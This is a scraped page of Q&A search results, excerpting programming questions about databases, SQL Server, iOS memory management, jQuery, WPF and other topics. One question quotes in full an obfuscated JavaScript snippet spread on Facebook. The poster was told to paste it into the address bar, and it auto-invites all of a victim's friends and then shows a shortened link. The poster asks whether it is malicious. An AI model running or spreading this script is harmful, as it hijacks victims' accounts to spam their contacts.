Search Results

Search found 3177 results on 128 pages for 'david murrant'.

Page 76/128 | < Previous Page | 72 73 74 75 76 77 78 79 80 81 82 83  | Next Page >

  • Representing a schedule in a database

    - by David Pfeffer
    I have the interesting problem of representing complex schedule data in a database. I need to be able to represent the entirety of what the iCalendar (ics) format can represent, but in my database. I don't care about insertion efficiency but query efficiency is critical. The operation I will be doing most often is providing either a single date/time or a date/time range, and trying to determine if the defined schedule matches any part of the date/time range. Other operations can be slower. For those unfamiliar, ics allows representation of a single event or a reoccuring event based on multiple times per day, days of the week, week of a month, month, year, or some combination of those. For example, the third Thursday in November, or the 25th of December, or every two weeks starting November 2nd and continuing until September the following year. Any suggestions?

    Read the article

  • SQL Server (2005) Linked Server Issue

    - by David.Chu.ca
    I have SQL Server 2005 with several linked server defined. One of them is a connection to an Oracle server and another one is an ODBC bridge to another server on a remote machine (ODBC server). Recently I tried to use the linked server to Oracle to update data with two large size tables by using several joints. The update query took too long time and finally there was exception thrown: Update O set value = l.value FROM OracleServer..schema.largesizeTable O Join localLargeSizeTable l on .... The problem is that after the exception, I realized that another linked server to ODBC was not working any more. I had to restart SQL server to get the ODBC linked server back. It looks that the linked server pool could be crashed if any of them failed(not like sandbox in Chrome for each tab and no impact on other tabs or Chrome application at all). I am not sure if my assumption is correct or not. Is this a known issue of SQL server 2005?

    Read the article

  • How to release a "PopUp" view"?

    - by david
    I have this class that shows a popup. I do a alloc-init on it and it comes up. DarkVader* darkPopUp = [[DarkVader alloc] init:theButton helpMessage:[theButton.titleLabel.text intValue] isADay:NO offset:0]; It shows itself and if the user presses Ok it disappears. When do I release this? I could do a [self release] in the class when the OK button is pressed. Is this correct? If I do this the Analyzer says it has a retain count of +1 and gets leaked in the calling function. If I release it just after the alloc-init the Analyzer says it has a retain count of +0 and i should not release it. DLog(@"DarkVader retain count: %i", [darkPopUp retainCount]); says it has a retain count of 2. I'm confused. In short my question is: How do I release an object that gets initialized does some work and ends but no one is there to release it in the calling function.

    Read the article

  • Group Chat XMPP with Google App Engine

    - by David Shellabarger
    Google App Engine has a great XMPP service built in. One of the few limitations it has is that it doesn't support receiving messages from a group chat. That's the one thing I want to do with it. :( Can I run a 3rd party XMPP/Jabber server on App Engine that supports group chat? If so, which one?

    Read the article

  • How to scrape the first paragraph from a wikipedia page?

    - by David
    Let's say I want to grab the first paragraph in this wikipedia page. How do I get the principal text between the title and contents box using XPath or DOM & PHP or something similar? Is there any php library for that? I don't want to use the api because it's a bit complex. Note: i just need that to add a widget under my pages that displays related info from Wikipedia.

    Read the article

  • Javascript in the adress bar. is this malicious?

    - by David
    I got a message on facebook telling me to coppy paist this into my adress bar. I thought i'd post it here and see what everyone thinks about it. What does it do? how does it work? Here's the source code: // (DO NOT DO THIS!) Javascript:var a=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x64\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x61\x6D\x70\x3B\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x31\x32\x36\x38\x32\x36\x39\x35\x34\x31\x38\x35\x32\x33\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"]; void (document[a[2]](a[1])[a[0]]=a[3]);var ss=document[a[2]](a[4]); var c=document[a[6]](a[5]); c[a[8]](a[7],true,true); void (ss[a[9]](c)); void (setTimeout(function (){fs[a[10]]();} ,4000)); void (setTimeout(function (){SocialGraphManager[a[13]](a[11],a[12]);} ,5000)); void (setTimeout(function (){ document[a[2]](a[1])[a[0]]="\x3C\x61\x20\x68\x72\x65\x66\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F\x62\x69\x74\x2E\x6C\x79\x2F\x62\x54\x6C\x30\x76\x6A\x27\x3E\x43\x6F\x6D\x70\x6C\x65\x74\x65\x64\x21\x20\x43\x6C\x69\x63\x6B\x20\x68\x65\x72\x65\x3C\x2F\x61\x3E"; } ,5400));

    Read the article

  • How do i make a allocation table?

    - by david
    I have build a grid of div's as playground for some visual experiments. In order to use that grid, i need to know the x and y coordinates of each div. That's why i want to create a table with the X and Y position of each div. X:0 & Y:0 = div:eq(0), X:0 Y:1 = div:eq(1), X:0 Y:2 = div:eq(2), X:0 Y:3 = div:eq(3), X:1 Y:0 = div:eq(4) etc.. What is the best way to do a table like that? Creating a OBJECT like this: { 00: 0, 01: 1, 02: 2, etc.. } or is it better to create a array? position[0][0] = 0 the thing is i need to use the table in multiple way's.. for example the user clicked the div nb: 13 what are the coordinates of this div or what is the eq of the div x: 12 y: 5. Thats how i do it right now: var row = 0 var col = 0 var eq = 0 c.find('div').each(function(i){ // c = $('div#stage') if (i !=0 && $(this).offset().top != $(this).prev().offset().top){ row++ col = 0 } $(this).attr({'row': row, 'col': col }) col++ }) I think it would be faster to build a table with the coordinates, instead of adding them as attr or data to the DOM. but i cant figure out how to do this technically. How would you solve this problem width JS / jQuery?

    Read the article

  • Theming the default search results page in Drupal

    - by David Pratt
    I'm trying to customise the mark-up of the default search results page in Drupal 6. Specifically I'd like to remove the search box and the title from the page - I know I can hide it with CSS, but I'd rather it wasn't rendered in the first place. Ideally, in the same why that you theme a particular content type node by copying the node.tpl.php and renaming it to something like node-blog.tpl.php and then amending the mark-up accordingly - is there an equivalent way to do this for the search results page?

    Read the article

  • Show a taskbar item with a NativeWindow

    - by David Brown
    My application is intended to work almost entirely through a Windows 7 taskbar item with the use of thumbnails and jump lists. I know I can easily create a Form and simply hide it, but this seems like overkill. Plus, I'd like to toy around with NativeWindow as much as possible, because I've never used it before. Essentially, I have a class called RootWindow that derives from NativeWindow. I don't need a visible window at all, but simply something to process window messages and provide a taskbar item that I can attach thumbnails and jump lists to. Is there some kind of special CreateParams option I need to pass to CreateHandle? Or am I out of luck?

    Read the article

  • What are the "cool" use cases for SharePoint?

    - by David
    I went to the Microsoft Visual Studio 2010 launch event in Minneapolis yesterday and was slightly surprised by how much they were trotting out SharePoint and improved SharePoint development in Visual Studio 2010. SharePoint is something I've largely ignored over the years as a web developer and solution architect on a small development team. I was always under the impression that SharePoint was used mostly for intranets in large corporations, and that if you were developing for SharePoint, it meant that a corporate decision had been made to use it and you as a developer probably had few (if any) options. I realize this assumption is probably incorrect. So, what are the "cool" uses for SharePoint? What unique business problems have you solved using it? What could make a developer excited to be working on something for SharePoint?

    Read the article

  • JQuery never reaches success or fail on aspx returning json.

    - by David
    Basicaly I have my aspx page doing <% Response.Clear(); Response.Write("{\"Success\": \"true\" }"); Response.End(); %> My JQuery code is function DoSubmit(r) { if (r == null || r.length == 0 || formdata == null || formdata.length == 0) return; for (i = 0; i < formdata.length; i++) { var fd = formdata[i]; r[fd.Name] = fd.Value; } r["ModSeq"] = tblDef.ModSeq; jQuery.ajax({ url: "NashcoUpdate.aspx" , succsess: doRow , error: DoSubmitError , complete: DoSubmitComplete , dataType: "json" , cache: false , data: r , type: "post" }) } When I call the DoSubmit() function every thing works but the doRow or DoSubmitError functions never get called only the DoSubmitComplete function. When I look at the response text in teh DoSubmitComple function it is {"Success": "true" } Every JSON tester I have tried says that this is valied JSON. What am I doing wrong here?

    Read the article

  • Optional Member Objects

    - by David Relihan
    Okay, so you have a load of methods sprinkled around your systems main class. So you do the right thing and refactor by creating a new class and perform move method(s) into a new class. The new class has a single responsibility and all is right with the world again: class Feature { public: Feature(){}; void doSomething(); void doSomething1(); void doSomething2(); }; So now your original class has a member variable of type object: Feature _feature; Which you will call in the main class. Now if you do this many times, you will have many member-objects in your main class. Now these features may or not be required based on configuration so in a way it's costly having all these objects that may or not be needed. Can anyone suggest a way of improving this? At the moment I plan to test in the newly created class if the feature is enabled - so the when a call is made to method I will return if it is not enabled. I could have a pointer to the object and then only call new if feature is enabled - but this means I will have to test before I call a method on it which would be potentially dangerous and not very readable. Would having an auto_ptr to the object improve things: auto_ptr<Feature> feature; Or am I still paying the cost of object invokation even though the object may\or may not be required. BTW - I don't think this is premeature optimisation - I just want to consider the possibilites.

    Read the article

  • Reading Metadata property of GifBitmapDecoder...why is it null?

    - by David
    How can I read the delay, left and top offset data for each frame of a gif? I've gotten this far. Load the Gif var myGif = new GifBitmapDecoder(uri, BitmapCreateOptions.PreservePixelFormat, BitmapCacheOption.OnLoad); Get a frame var frame = myGif.Frames[i]; From MSDN: Native Image Format Metadata Queries read (ushort)Metadata.GetQuery("/grctlext/Delay"), (ushort)Metadata.GetQuery("/imgdesc/Left"), (ushort)Metadata.GetQuery("/imgdesc/Top") But two things don't work. First the Metadata property of both the gif and the frame are always null, even if I try different animated gif files. Second, the Metadata property of the frame doesn't seem to have a GetQuery method. How do I run these queries, what did I miss? Edit: Here is sample code that gives me null metadata. Using a fresh install of VS2010 Premium, on a fresh WPF application. The image file is the one in the comments. using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Windows; using System.Windows.Controls; using System.Windows.Data; using System.Windows.Documents; using System.Windows.Input; using System.Windows.Media; using System.Windows.Media.Imaging; using System.Windows.Navigation; using System.Windows.Shapes; namespace WpfApplication1 { /// <summary> /// Interaction logic for MainWindow.xaml /// </summary> public partial class MainWindow : Window { public MainWindow() { InitializeComponent(); var uri = new Uri(@"c:\b-414328-animated_gif_.gif"); var myGif = new GifBitmapDecoder(uri, BitmapCreateOptions.PreservePixelFormat, BitmapCacheOption.OnLoad); var frame = myGif.Frames[0]; Title = ""; Title += "Global Metadata is null: " + (myGif.Metadata == null).ToString(); Title += "; Frame Metadata is null: " + (frame.Metadata == null).ToString(); // Crash due to null metadata //var frameData = (BitmapMetadata)frame.Metadata; //var rate = (ushort)frameData.GetQuery("/grctlext/Delay"); } } }

    Read the article

  • Java - How to avoid loss of precision during divide and cast to int?

    - by David Buckley
    I have a situation where I need to find out how many times an int goes into a decimal, but in certain cases, I'm losing precision. Here is the method: public int test(double decimalAmount, int divisor) { return (int) (decimalAmount/ (1d / divisor)); } The problem with this is if I pass in 1.2 as the decimal amount and 5 as the divisor, I get 5 instead of 6. How can I restrusture this so I know how many times 5 goes into the decimal amount as an int?

    Read the article

  • Resizing image with Python with locked aspect ratio

    - by David Vinklar
    How should I resize an image with Python script so that it would automatically adjust the Height ratio to the Width used? I'm using the following code: def Do(Environment): # Resize App.Do( Environment, 'Resize', { 'AspectRatio': 1.33333, 'CurrentDimensionUnits': App.Constants.UnitsOfMeasure.Pixels, 'CurrentResolutionUnits': App.Constants.ResolutionUnits.PixelsPerIn, 'Height': 1440, 'MaintainAspectRatio': True, 'Resample': True, 'ResampleType': App.Constants.ResampleType.SmartSize, 'ResizeAllLayers': True, 'Resolution': 72, 'Width': 1920, }) Using this code works perfectly if the aspect ratio of an image is the same as the one defined in the code - i.e. 1.33333. But how should I make it work with images that do not have this ratio? For me, what is important is that the new Width is 1920; Height has to be able to adjust automatically. Any ideas which part of my code should be altered and how?

    Read the article

  • Sample source code for processing messages of a window created by an external program?

    - by David
    I know I have to use SetWindowLongPtr with GWLP_WNDPROC and create my own WndProc that handles the message I want (such as WM_GETMINMAXINFO and modify the MINMAXINFO structure). However, because I want to do this for a window created by another program (like notepad.exe), I can't do this from my C#/WinForms program, I have to create a native C/C++ DLL that I have to inject in the the process that created the window. Can you provide a link or the sample code to do this (the native C++ DLL and the way to call it from C# and inject it into the external process)? Thank you

    Read the article

  • Why does virtual assignment behave differently than other virtual functions of the same signature?

    - by David Rodríguez - dribeas
    While playing with implementing a virtual assignment operator I have ended with a funny behavior. It is not a compiler glitch, since g++ 4.1, 4.3 and VS 2005 share the same behavior. Basically, the virtual operator= behaves differently than any other virtual function with respect to the code that is actually being executed. struct Base { virtual Base& f( Base const & ) { std::cout << "Base::f(Base const &)" << std::endl; return *this; } virtual Base& operator=( Base const & ) { std::cout << "Base::operator=(Base const &)" << std::endl; return *this; } }; struct Derived : public Base { virtual Base& f( Base const & ) { std::cout << "Derived::f(Base const &)" << std::endl; return *this; } virtual Base& operator=( Base const & ) { std::cout << "Derived::operator=( Base const & )" << std::endl; return *this; } }; int main() { Derived a, b; a.f( b ); // [0] outputs: Derived::f(Base const &) (expected result) a = b; // [1] outputs: Base::operator=(Base const &) Base & ba = a; Base & bb = b; ba = bb; // [2] outputs: Derived::operator=(Base const &) Derived & da = a; Derived & db = b; da = db; // [3] outputs: Base::operator=(Base const &) ba = da; // [4] outputs: Derived::operator=(Base const &) da = ba; // [5] outputs: Derived::operator=(Base const &) } The effect is that the virtual operator= has a different behavior than any other virtual function with the same signature ([0] compared to [1]), by calling the Base version of the operator when called through real Derived objects ([1]) or Derived references ([3]) while it does perform as a regular virtual function when called through Base references ([2]), or when either the lvalue or rvalue are Base references and the other a Derived reference ([4],[5]). Is there any sensible explanation to this odd behavior?

    Read the article

  • DataGridView: how to make scrollbar in sync with current cell selection?

    - by David.Chu.ca
    I have a windows application with DataGridView as data presentation. Every 2 minutes, the grid will be refreshed with new data. In order to keep the scroll bar in sync with the new data added, I have to reset its ScrollBars: dbv.Rows.Clear(); // clear rows SCrollBars sc = dbv.ScrollBars; dbv.ScrollBars = ScrollBars.None; // continue to populate rows such as dbv.Rows.Add(obj); dbv.ScrollBars = sc; // restore the scroll bar setting back With above codes, the scroll bar reappears fine after data refresh. The problem is that the application requires to set certain cell as selected after the refresh: dbv.CurrentCell = dbv[0, selectedRowIndex]; With above code, the cell is selected; however, the scroll bar's position does not reflect the position of the selected cell's row position. When I try to move the scroll bar after the refresh, the grid will jump to the first row. It seems that the scroll bar position is set back to 0 after the reset. The code to set grid's CurrentCell does not cause the scroll bar to reposition to the correct place. There is no property or method to get or set scroll bar's value in DataGriadView, as far as I know. I also tried to set the selected row to the top: dbv.CurrentCell = dbv[0, selectedRowIndex]; dbv.FirstDisplayedScrollingRowIndex = selectedRowIndex; The row will be set to the top, but the scroll bar's position is still out of sync. Not sure if there is any way to make scroll bar's position in sync with the selected row which is set in code?

    Read the article

  • organise javascript code based on page

    - by David
    Hi I am relatively new to javascript development. At the moment I have a single javascript file with lots of little misc bits of code that get called in different part of the website. For example I have an event handler for some google maps stuff that is only called on 1 single page, I have some validation stuff for my contact page etc etc. My question, is how best to organise this code - given that each page only requires very little code but its different and specific per page? Oh, I am using jquery if that makes a difference.

    Read the article

  • Clojure / HBase: How to Import HBaseTestingUtility in v0.94.6.1

    - by David Williams
    In Clojure, if I want to start a test cluster using the hbase testing utility, I have to annotate my dependencies with: [org.apache.hbase/hbase "0.92.2" :classifier "tests" :scope "test"] First of all, I have no idea what this means. According to leiningens sample project.clj ;; Dependencies are listed as [group-id/name version]; in addition ;; to keywords supported by Pomegranate, you can use :native-prefix ;; to specify a prefix. This prefix is used to extract natives in ;; jars that don't adhere to the default "<os>/<arch>/" layout that ;; Leiningen expects. Question 1: What does that mean? Question 2: If I upgrade the version: [org.apache.hbase/hbase "0.94.6.1" :classifier "tests" :scope "test"] Then I receive a ClassNotFoundException Exception in thread "main" java.lang.ClassNotFoundException: org.apache.hadoop.hbase.HBaseConfiguration Whats going on here and how do I fix it?

    Read the article

  • Trouble getting $.ajax() to work in PhoneGap against a locally hosted server

    - by David Gutierrez
    Currently trying to make an ajax post request to an IIS Express hosted MVC 4 Web API end point from an android VM (Bluestacks) on my machine. Here are the snippets of code that I am trying, and cannot get to work: $.ajax({ type: "POST", url: "http://10.0.2.2:28434/api/devices", data: {'EncryptedPassword':'1234','UserName':'test','DeviceToken':'d234'} }).always(function( data, textStatus, jqXHR ) { alert( textStatus ); }); Whenever I run this request I always get back a textStatus of 'error'. After hours of trying different things, I pushed my End Point to an actual server, and was able to actually get responses back in PhoneGap if I built up an XMLHttpRequest by hand, like so: var request = new XMLHttpRequest(); request.open("POST", "http://172.16.100.42/MobileRewards/api/devices", true); request.onreadystatechange = function(){//Call a function when the state changes. console.log("state = " + request.readyState); console.log("status = " + request.status); if (request.readyState == 4) { if (request.status == 200 || request.status == 0) { console.log("*" + request.responseText + "*"); } } } request.send("{EncryptedPassword:1234,UserName:test,DeviceToken:d234}"); Unfortunately, if I try to use $.ajax() against the same end point in the snippet above I still get a status text that says 'error', here is that snippet for reference: $.ajax({ type: "POST", url: "http://172.16.100.42/MobileRewards/api/devices", data: {'EncryptedPassword':'1234','UserName':'test','DeviceToken':'d234'} }).always(function( data, textStatus, jqXHR ) { alert( textStatus ); }); So really, there are a couple of questions here. 1) Why can't I get any ajax calls (post or get) to successfully hit my End Point when it's hosted via IIS Express on the same machine that the Android VM is running? 2) When my end point is hosted on an actual server, through IIS and served through port 80, why can't I get post requests to be successful when I use jquery's ajax calls? (Even though I can get it to work by manually creating an XMLHttpRequest) Thanks

    Read the article

  • Writing a Virtual Printer in .NET

    - by David Osborn
    I'm looking to create a virtual printer that passes data to my .NET application. I want to then create an installer that installs both the printer and the .NET application. It would we really nice to be able to write it all in C#, but I have a feeling that this will require a printer driver to be written is unmanaged code. Does anyone know of a fairly clean tutorial or example of how to do this?

    Read the article

  • How do I hook up a custom tab bar build in IB to a UINavigationController Object instanced in XCODE?

    - by David Hsu
    What I did to create the custom NAV BAR: 1. Created an empty XIB and added a view with class UINavigationController. 2. Under the view I added the navigation bar and a left and right button onto the nav bar. 3. Control drag from "File Owner" to "View" Inside my class where I call the modal view navigation controller: SignupViewController *addController = [[SignupViewController alloc] initWithNibName:@"SignupViewController" bundle:nil]; // Create the navigation controller and present it modally. UINavigationController *navigationController = [[UINavigationController alloc] initWithRootViewController:addController]; navigationController.navigationBar = ///WHAT SHOULD GO HERE? [self presentModalViewController:navigationController animated:YES]; Thank in advance!

    Read the article

< Previous Page | 72 73 74 75 76 77 78 79 80 81 82 83  | Next Page >